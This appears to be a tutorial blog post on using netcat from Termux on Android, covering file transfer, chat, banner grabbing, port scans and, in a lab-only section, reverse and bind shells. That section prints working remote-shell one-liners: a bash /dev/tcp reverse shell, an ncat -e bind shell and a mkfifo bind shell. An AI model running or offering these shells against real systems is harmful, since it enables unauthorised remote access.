Netcat (nc) on Termux: Usage and Examples

netcat (nc) on Termux: Usage and Examples

TL;DR: netcat runs fine on Termux without root, but the Android sandbox rewrites the rules: only high ports (1024+) can be bound, the -e flag doesn't exist, and your listener dies when Android puts the phone to sleep. This guide covers install, client/server usage, file transfer, chat, quick scans, and lab-only shell tricks with Termux's netcat-openbsd package. You need: Termux from F-Droid or GitHub (skip the dead Play Store build) and a second machine on the same Wi-Fi for the transfer and chat examples.

Every netcat tutorial assumes a desktop with root. Then you run the same command on your phone and the first nc -l 80 dies with Permission denied — because Android is Linux, and on Android you are not root. Most people give up there. Don't. This is the companion to our desktop netcat guide, tuned for a pocket Linux: learn three sandbox rules and nc becomes your mobile Swiss army knife again — banner grabbing, file drops, a quick chat channel, and lab shells, all from Termux.

Install netcat in Termux: netcat-openbsd

Termux's repository carries two netcat families. The one you want is netcat-openbsd — the OpenBSD variant (currently version 1.238-1, built straight from Debian's patches). It registers nc, ncat and netcat on your PATH. Older tutorials push the legacy netcat package — skip it; it was a bundled ncat build, later renamed nmap-ncat, and OpenBSD nc is the modern, scriptable choice.

termux
pkg update && pkg install netcat-openbsd

Check which nc you actually have

Flavor matters, and the first line of nc -h tells you exactly what you're running. This is your go-to sanity check on any box, phone included:

termux
nc -h 2>&1 | head -n 1
OpenBSD netcat (Debian patchlevel 1.238-1)

If that first line reads something else — "Ncat" or "GNU netcat" — you're not running the OpenBSD build and some commands in this article will behave differently.

The ncat that rides along with nmap

Install nmap in Termux and you also get ncat (Nmap's own netcat rewrite, installed as the netcat-nmap binary). ncat is a different beast: it speaks SSL, proxies, and even has -e — but it is not OpenBSD nc. The two coexist since 2021; Termux manages the shared nc/ncat names with update-alternatives, where priority decides which one claims the nc name (netcat-openbsd has priority 50, netcat-nmap 40).

termux
pkg install nmap && ncat -h | head -n 1
Ncat 7.991 ( https://nmap.org/ncat )

If ncat has stolen the nc name from your OpenBSD build, switch back reliably with update-alternatives --config nc and pick netcat-openbsd there (a plain pkg reinstall netcat-openbsd won't override a prior manual selection).

What's Different on Android: No Root, High Ports, Doze

Termux runs as a normal Android app (UID u0_aXXX), and SELinux adds a second layer: the app lives in the untrusted_app domain, which blocks raw sockets and other privileged syscalls. Plain TCP and UDP on high ports are allowed, though — which is everything nc needs. That one fact explains almost every "why doesn't this work" moment:

  • Low ports are off-limits. Binding below 1024 is privileged; nc -l 80 dies with Permission denied at the kernel level. termux-wifi (from Termux:API) won't help — it only toggles Wi-Fi and grabs wakelocks, no root, no CAP_NET_BIND_SERVICE. Stick to 4444, 8080, 1234.
  • Android kills background processes. Screen sleeps, Doze kicks in, and your listener vanishes silently. For anything that must keep listening, take a wake lock: termux-wake-lock (ships in termux-tools, preinstalled) before the session, termux-wake-unlock when you're done.
  • SSH is how you manage a listening phone. Skip the on-screen keyboard: pkg install openssh && sshd on the phone, then drive it from your PC — and keep the listener alive across screen locks.
termux
termux-wake-lock

Client Mode: Connect, Grab Banners, Speak HTTP

The core move: nc host port. Add -v for verbose connect/refused messages and -w 5 so a dead host doesn't hang you for minutes.

termux
nc -v example.com 80
Connection to example.com 80 port [tcp/http] succeeded!

Banner grabbing

Many services announce themselves the moment you connect. Point nc at an SSH daemon and the banner falls right out — no auth needed:

termux
nc -w 3 -v 192.168.1.20 22
Connection to 192.168.1.20 22 port [tcp/ssh] succeeded!
SSH-2.0-OpenSSH_9.6p1 Debian-3

That's your service fingerprint in one line — a favorite recon reflex for CTF players. The -w 3 makes nc quit shortly after the banner lands so the session doesn't dangle.

A manual HTTP request

nc is a raw socket, so you can hand-craft requests. The trick is the line endings: HTTP wants CR+LF, and printf with single quotes converts the literal \r\n for you:

termux
printf 'GET / HTTP/1.1\r\nHost: example.com\r\n\r\n' | nc -v example.com 80

Rabbit hole I hit first time: with HTTP/1.1 the server keeps the connection alive, so nc waits for more input and your terminal hangs after the response. Fix it with -q 1 (quit one second after stdin ends) or just use HTTP/1.0, which closes the connection server-side. It's a ten-second annoyance that has confused every netcat beginner since 1996.

Listener Mode: nc -l on High Ports

Listening uses the OpenBSD syntax: the port is a positional argument — no -p needed:

termux
nc -l 4444

In this flavor, -p means source port in connect mode — the classic confusion for people migrating from netcat-traditional. Thanks to the Debian patch Termux builds from, nc -l -p 4444 is still treated as the listen port, but the canonical form here is positional: nc -l 4444. The listener accepts one connection and exits; add -k to keep listening for the next one, and -6 to bind IPv6 only. One caveat straight from the man page: -w timeouts are ignored while listening — an idle listener waits forever, which is exactly why the Android doze problem bites.

And no, nc -l 80 still won't work on the phone. 443, 22, 80 — all privileged. Port 4444 or higher and you're in business. If you're on a guest Wi-Fi, client isolation may also block other devices from reaching your phone's listener entirely; a normal home router is fine.

File Transfer Between Phone and PC

netcat's classic job: shove a file over the LAN with zero ceremony. First, find the phone's address. ifconfig (from net-tools, usually preinstalled) or ip addr after pkg install iproute2:

termux
ifconfig | grep -E 'wlan|inet '
        inet 192.168.1.50  netmask 255.255.255.0

Fail I've stopped making: don't reach for hostname -I in Termux — the hostname utility there (inetutils) doesn't implement -I, so it fails or prints nothing. ifconfig and ip addr are the reliable paths.

Push a file from PC to phone — the phone listens, the PC pushes:

termux
nc -l 1234 > received.bin
bash
nc -N 192.168.1.50 1234 < backup.bin

The -N on the sender is the important bit: it shuts down the socket after the file hits EOF, so the receiver's nc sees the connection close and exits instead of hanging. Reverse the roles to pull a file from the phone:

bash
nc -l 1234 > payload.bin
termux
nc -N 192.168.1.20 1234 < payload.bin

There's no checksum and no encryption here — this is a raw TCP stream. Verify integrity with md5sum on both ends when the file matters.

Chat / Backchannel Over Wi-Fi

Same trick, no redirection: two nc instances make a chat room. Anything you type on one end appears on the other, and vice versa. Phone first:

termux
nc -l 4444
bash
nc 192.168.1.50 4444

Unencrypted, unauthenticated, and ugly — but zero-config, and a handy lab demo of what an attacker's backchannel looks like on your network.

Port Scanning from the Phone with nc -zv

OpenBSD nc does a decent knock test with -z (zero I/O) plus -v, and it accepts port ranges:

termux
nc -zv 192.168.1.1 1-1000
Connection to 192.168.1.1 port [tcp/22] succeeded!
Connection to 192.168.1.1 port [tcp/80] succeeded!

Now the honest caveat: this is a blunt instrument. It's serial, slow, easy to spot, and tells you nothing about services or versions. For real recon, install nmap (pkg install nmap) and let it do the heavy lifting — nc -zv is for a quick "is anything alive there?" mid-lab knock test. If the host doesn't answer at all, add -w 2 so each dead port doesn't wait forever.

Shells — for Your Own Lab and CTF Boxes Only

Straight talk before the commands: reverse and bind shells are offensive technique, and this article frames them as defensive awareness and lab practice. Run them only against machines you own — your home lab, your Hack The Box / TryHackMe instances, a colleague's box with written consent. Pointing a shell at anything else is a crime in most jurisdictions. Authorize your target first, always.

Reverse shell: lab box connects back to your phone

Phone listens, lab box dials home — the classic CTF shape, phone as your couch-side C2:

termux
nc -l 4444
kali
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1

You get a raw shell with no PTY — no tab completion, no job control. Upgrade it when you need a proper terminal: python3 -c 'import pty; pty.spawn("/bin/sh")' from inside the session.

Bind shell: phone connects into a lab box

Reverse direction: the box offers a shell on a port, the phone walks in. On the lab box, ncat (or netcat-traditional) has the -e flag:

kali
ncat -l 4444 -e /bin/sh
termux
nc 192.168.1.20 4444

The -e caveat: Termux's nc has NO -e

This is the trap that wasted an evening of my life. OpenBSD netcat does not ship -e or -c — the man page is blunt about it. So the command above will never work on the phone itself. The supported workaround is a named pipe (fifo): sh reads from the fifo, writes into nc, and nc's output loops back into the fifo:

termux
rm -f /tmp/f && mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l 4444 > /tmp/f

Now connect from the PC with nc 192.168.1.50 4444 and you're inside the phone's shell — a bind shell on your own device, perfect for rehearsing how that would look from the blue side. Remember: this is unauthenticated by design. Anyone who can reach port 4444 gets a shell. Kill the session and rm -f /tmp/f when the exercise is over.

Troubleshooting: What the Errors Actually Mean

  • Connection refused — host is up, port closed (RST). You reached the machine; the service just isn't there.
  • Timeout / no response — nothing answered at all. Host down, firewall dropping packets, wrong IP, or client isolation on the network.
  • Timeout on the listener — remember -w is ignored with -l; an idle listener waits forever. A feature — and the reason Android doze eats it.
  • Verify the listener is really up — from Termux, ss -tlnp | grep 4444 (needs pkg install iproute2) or netstat -tlnp if you have net-tools.
  • Android killed your session — grab a wake lock, keep Termux in the foreground, don't swipe the app away. Check the notification drawer for the "acquire wakelock" toggle.
  • Reachable on LAN, not from the internet — that's NAT/CGNAT, and nc can't punch holes. Use SSH reverse tunnels instead.
termux
ss -tlnp | grep 4444
LISTEN 0  10  0.0.0.0:4444  0.0.0.0:*  users:(("nc",pid=1234,fd=3))

Takeaways

  • OpenBSD syntax everywhere — on Termux, nc -l 4444 is the listener, port positional, no -p. No -e, ever; use the fifo trick.
  • High ports only — the Android sandbox forbids binding below 1024 without root, and termux-wifi won't change that. Design your lab flows around 4444/8080/1234.
  • Wake lock for long sessions — Android's doze kills silent listeners; termux-wake-lock before, termux-wake-unlock after, or drive the phone over SSH.
  • nc scans badly on purpose — use -zv for a quick knock test, but reach for nmap for anything that matters.

The one idea to remember: on Android, netcat behaves exactly like desktop Linux — until the sandbox bites: high ports, wake locks, no -e. Learn those three and nc becomes your pocket knife again.

Related reads: our desktop companion netcat on Linux: usage and examples, the Termux SSH server setup guide for managing a listening phone, and nmap on Termux for real port scanning.